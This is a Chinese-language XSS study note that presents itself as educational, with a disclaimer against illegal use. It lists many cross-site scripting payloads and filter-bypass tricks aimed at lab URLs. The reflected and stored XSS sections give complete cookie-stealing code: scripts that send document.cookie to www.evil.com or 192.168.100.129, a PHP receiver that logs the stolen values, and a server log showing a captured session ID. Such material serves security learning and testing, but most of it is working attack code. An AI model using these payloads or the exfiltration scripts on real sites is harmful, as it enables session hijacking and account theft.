鄭重聲明:
本筆記編寫目的隻用于安全知識提升,并與更多人共享安全知識,切勿使用筆記中的技術進行違法活動,利用筆記中的技術造成的後果與作者本人無關。倡導維護網絡安全人人有責,共同維護網絡文明和諧。
XSS 跨站腳本
- 1 XSS 介紹
- 2 測試 XSS 語句
-
- 2.1 基于 HTML 事件類型
- 2.2 基于 `img` 标簽
- 2.3 基于 a 标簽
- 2.4 iframe 架構
- 2.5 重定向
- 3 XSS 繞過方法
-
- 3.1 大小寫繞過
- 3.2 轉換标簽
- 3.3 更換測試函數
- 3.4 閉合 js 語句
- 3.5 拼湊标簽
- 3.6 URL中的 XSS
- 3.7 特殊字元繞過
- 3.8 `<>` 号繞過
- 3.9 利用 DOM hash 屬性
- 3.10 利用浏覽器自動進行一次編碼繞過
- 4 Payload 加載方式
-
- 4.1 标準 Java Script 加載
- 4.2 img 标簽加載
- 4.3 Payload 拆分加載
- 4.4 jquery 加載
- 5 反射型 XSS
-
- 5.1 方式一
- 5.2 方式二
- 6 存儲型 XSS
- 7 DOM 型 XSS
1 XSS 介紹
- XSS(cross-site scripting):通過 WEB 站點漏洞,向用戶端植入惡意腳本代碼,實作對用戶端的攻擊目的
- 主要危害:
- 盜取 cookie
- 未授權操作:利用 JavaScript 的特性,直接代替使用者在 HTML 進行各類操作。
- 按鍵記錄:JavaScript 的功能十分強大,它還能夠記錄使用者在浏覽器中的大部分操作。比如:滑鼠的軌迹、鍵盤輸入的資訊(賬号名和密碼)等。
- 釣魚:
- 通過修改 DOM,僞造一個登入框,來誘導使用者在本不需要登入的頁面,去輸入自己的使用者名和密碼。
- 通過重定向,本來通路正常站點,但卻通路了另一個被黑客僞造的站點,輸入了賬号、密碼
- XSS 漏洞類型:
- 反射型(非持久):通過誘使(如郵件)被攻擊者點選惡意連結通路,觸發 XSS 腳本。
- 存儲型(持久型):XSS 腳本儲存在伺服器端,如果伺服器沒有過濾或過濾不嚴,每當有客戶請求存在 XSS 腳本的頁面時,都會觸發腳本執行。
- DOM 型(反射型):DOM型XSS其實是一種特殊類型的反射型XSS,基于DOM文檔對象模型的一種漏洞。在本地執行,不去向浏覽器去發送請求
2 測試 XSS 語句
2.1 基于 HTML 事件類型
HTML 事件的例子:
- 當使用者點選滑鼠時
- 當網頁已加載時
- 當圖像已加載時
- 當滑鼠移動到元素上時
- 當輸入字段被改變時
- 當送出 HTML 表單時
- 當使用者觸發按鍵時
1. 彈窗測試
<script>alert(document.cookie)</script>
<script>alert('XSS')</script>
<script src=data:text/javascript,alert(document.cookie)></script>
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- navigator.userAgent:顯示目前通路的 userAgent -->
<script>alert(navigator.userAgent)</script>
<script>alert(document.cookie)</script>
2. 頁面加載測試
<body οnlοad=alert('XSS')></body>
<br size="&{alert('XSS')}">
<object type=text/html data='javascript.:alert("XSS");'></object>
"+alert('XSS')+"
<style. type="text/javascript">alert('XSS');</style>
<form action=javascript:alert("XSS")><input/type=submit>
<input autofocus>
<meta http-equiv="refresh" content="0";>
<input οnfοcus=alert("XSS") autofocus>
<input οnblur=alert("XSS") autofocus><input autofocus>
<!-- 将測試語句使用 BASE64 編碼 -->
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+></object>
<marquee onstart=alert("XSS")></marquee>
2.2 基于 img
标簽
img
<!-- 當圖檔來源是錯誤的時候,就會産生 error,去執行後面的 alert -->
<img src=X onerror=alert(document.cookie)>
<ImG/sRc/OnErRoR=alert(document.domain)>
2.3 基于 a 标簽
<A href=http://www.aaa.com/>link</A>
<a herf="οnclick=alert('XSS')">type</a>
<!-- 需要浏覽器禁用 XSS 篩選 -->
<a οnmοuseοver=alert('XSS')>οnmοuseοver</a>
<a href=javascript:alert('XSS')>οnclick</a>
2.4 iframe 架構
<iframe οnlοad=alert(document.domain)></iframe>
<iframe src="javascript:alert("XSS");"></iframe>
<iframe SRC="http://192.168.100.129/XSS.js" height = "0" width ="0"></iframe>
2.5 重定向
<!-- 惡意攻擊者模仿正常使用者要通路的頁面,當點選通路以為是正常的頁面時,重定向到模仿的頁面,輸入敏感的賬号、密碼等資訊 -->
<script>window.location='http://192.168.100.129'</script>
3 XSS 繞過方法
3.1 大小寫繞過
<sCRipt>alert(1)</sCRipt>
例:
http://www.lab.com/xss/xss01.php?name=<sCRipt>alert(1)</sCRipt>
3.2 轉換标簽
<img src=x οnerrοr=alert('XSS')>
例:
http://www.lab.com/xss/xss01.php?name=<img src=x οnerrοr=alert('XSS')>
3.3 更換測試函數
<script>confirm('XSS')</script>
<script>prompt(document.cookie)</script>
<script>setTimeout(alert(document.cookie),0)</script>
例:
http://www.lab.com/xss/xss01.php?name=<script>confirm('XSS')</script>
3.4 閉合 js 語句
- 前提是測試語句包含在
标簽中<script>測試語句</script>
-
為 js 語言的注釋語句//
1. 閉合雙引号
";alert(1)//
2. 閉合單引号
';alert(1)//
3. 閉合 <> 号
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>
例:
http://www.lab.com/xss/xss08.php?name=";alert(1)//
3.5 拼湊标簽
- 後端會對輸入的标簽進行有且隻有一次的替換
<sc<script>ript>alert('XSS');</sc</script>ript>
例:
http://www.lab.com/xss/xss05.php?name=<sc<script>ript>alert('XSS');</sc</script>ript>
等價于
http://www.lab.com/xss/xss05.php?name=<script>alert('XSS');</script>
3.6 URL中的 XSS
- 利用的前提是頁面文檔中存在調用 URL 的方法。如:
$_SERVER['PHP_SELF']
οnsubmit="alert(1)
例:
http://www.lab.com/xss/xss11.php/" οnsubmit="alert(1)
&'><script>alert(1)</script>
http://www.lab.com/xss/index.php?act=commentlist&manage=comment&%27%3e%3cscript%3ealert(1)%3c%2fscript%3e
3.7 特殊字元繞過
- PHP 中如果magic_quotes_gpc=On,PHP解析器就會自動為post、get、cookie過來的資料增加轉義字元“\”,以確定這些資料不會引起程式,特别是資料庫語句因為特殊字元(認為是php的字元)引起的污染而出現緻命的錯誤 。
- 在magic_quotes_gpc=On的情況下,如果輸入的資料有單引号(’)、雙引号(”)、反斜線(\)與 NUL(NULL 字元)等字元都會被加上反斜線。這些轉義是必須的,如果這個選項為off,那麼我們就必須調用addslashes這個函數來為字元串增加轉義。
被轉義的的例子:
<script>alert("xss");</script>
會被轉義為
<script>alert(\"xss\");</script>
1. 使用非字元串的測試語句
<script>alert(1);</script>
2. 編碼測試語句
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
例:
http://www.lab.com/xss/xss12.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
3.8 <>
号繞過
<>
不使用 <> 号
例:
http://www.lab.com/xss/xss13.php?name=' onmouseover='javascript:alert(1)
3.9 利用 DOM hash 屬性
-
hash 屬性是一個可讀可寫的字元串,該字元串是 URL 的錨部分(從 # 号開始的部分)。
HTML DOM hash 屬性 (w3school.com.cn)
執行個體:假設目前的 URL 是: http://example.com:1234/test.htm#part2: <html> <body> <script type="text/javascript"> document.write(location.hash); </script> </body> </html> 輸出:#part2
- 利用前提是 HTML 頁面中使用了 DOM hash 屬性
- 隻在未啟用 XSS 篩選器的 IE 浏覽器中有效果
#<script>alert('XSS');</script>
例:隻截取 # 号後面 XSS 腳本
http://www.lab.com/xss/xss10.php?name=#<script>alert('XSS')</script>
3.10 利用浏覽器自動進行一次編碼繞過
%253cscript%253ealert('XSS')%253c%252fscript%253e
例:
http://www.lab.com/xss/xss10.php?name=%253cscript%253ealert('XSS')%253c%252fscript%253e
4 Payload 加載方式
4.1 标準 Java Script 加載
<script>alert("xss");</script>
<script src=http://xss.lab.com/HdMI></script>
// 以下内容适用于 http: 與 https:(推薦)
<script src=//xss.lab.com/HdMI></script>
4.2 img 标簽加載
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='www.evil.com/evil.js';>
4.3 Payload 拆分加載
這種一般是輸入的字元有限制的時候使用,不斷地對定義的變量做字元拼接,在最後末尾使用eval函數對整個語句進行執行
例:
針對 Payload :
<script>location.href='http://www. baidu.com'</script>
<script>var a</script>
<script>a="location"</script>
<script>a=a+".href="</script>
<script>a=a+"http:"</script>
<script>a=a+"//www."</script>
<script>a=a+"baidu."</script>
<script>a=a+"com"</script>
<script>eval(a)</script>
4.4 jquery 加載
<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script>$.getScript("//www.evil.com/evil.js");</script>
5 反射型 XSS
通過誘使(如郵件)被攻擊者點選惡意連結通路,觸發 XSS 腳本。
5.1 方式一
攻擊者先在一個遠端主機上準備好 XSS 腳本與接收 XSS 請求資訊的 php 文檔
xss_cookie.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://www.evil.com/recv_xss.php?get_data='+encodeURIComponent(document.cookie);
recv_xss.php
<?php
@ini_set('display_errors',1);
$str = $_GET['get_data'];
$filePath = "recv_data.txt";
$handler = fopen($filePath, "a");
fwrite($handler, $str,\n);
fclose($handler);
?>
攻擊者在目标主機上加載 Payload
<script src="http://192.168.100.129/xss.js"></script>
<script src="//192.168.100.129/xss.js "></script>
<img onerror=document.body.appendChild(document.createElement('script')).src='//192.168.100.129/xss.js'>
例:
http://www.lab.com/xss/xss01.php?name=<script src="http://192.168.100.129/xss.js"></script>
5.2 方式二
攻擊者先在一個遠端主機上準備好 XSS 腳本:
xss_cookie.js
var img=document.createElement("img");
img.src="http://www.evil.com(192.168.100.129)/log?"+escape(document.cookie);
document.body.appendChild(img);
攻擊者在目标主機上加載 Payload
<script src=http://192.168.100.129/xss_cookie.js></script>
例:
http://www.lab.com/xss/xss01.php?name=<script src=http://192.168.100.129/xss_cookie.js></script>
攻擊者在遠端主機上檢視目标主機的 cookie
// 在頁面中插入了一張看不見的圖檔,同時把 document.cookie 對象作為參數發送到遠端伺服器。
// 事實上,http://www.evil.com/log 并不一定要存在,因為這個請求會在遠端伺服器的 Web 日志中留下記錄 。
tail /var/log/apache2/access.log
192.168.100.1 - - [10/Jun/2021:13:37:37 -0400] "GET /log?PHPSESSID%3Dhd5h2m4ijsso7ntn8t64imldk3 HTTP/1.1" 404 287 "http://www.lab.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
6 存儲型 XSS
XSS 腳本儲存在伺服器端,如果伺服器沒有過濾或過濾不嚴,每當有客戶請求存在 XSS 腳本的頁面時,都會觸發腳本執行。
例:
var img = new Image();
img.src = "http://www.evil.com(192.168.100.129)/cookies.php?cookie="+document.cookie;
7 DOM 型 XSS
DOM,全稱Document Object Model,是一個平台和語言都中立的接口,可以使程式和腳本能夠動态通路和更新文檔的内容、結構以及樣式。即利用 JavaScript 跨平台的特性,通過調用 DOM 提供的相應接口執行相關功能。
在網站頁面中有許多頁面的元素,當頁面到達浏覽器時浏覽器會為頁面建立一個頂級的 Document object 文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。可以通過 JS 腳本對文檔對象進行編輯進而修改頁面的元素。也就是說,用戶端的腳本程式可以通過 DOM 來動态修改頁面内容,從用戶端擷取 DOM 中的資料并在本地執行。基于這個特性,就可以利用JS腳本來實作XSS漏洞的利用。
常用 DOM 屬性:
document.referer
window.name
location
innerHTML
documen.write
例:
var img=document.createElement("img");
img.src="http://www.evil.com(192.168.100.129)/log?"+escape(document.cookie);
document.body.appendChild(img);